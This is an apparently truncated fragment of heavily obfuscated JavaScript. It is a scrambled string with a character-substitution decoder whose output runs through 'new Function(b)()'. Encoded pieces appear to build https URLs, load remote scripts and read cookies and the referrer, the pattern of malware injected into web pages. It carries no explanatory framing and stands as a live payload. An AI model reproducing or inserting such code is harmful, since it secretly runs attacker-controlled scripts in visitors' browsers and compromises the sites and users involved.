F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();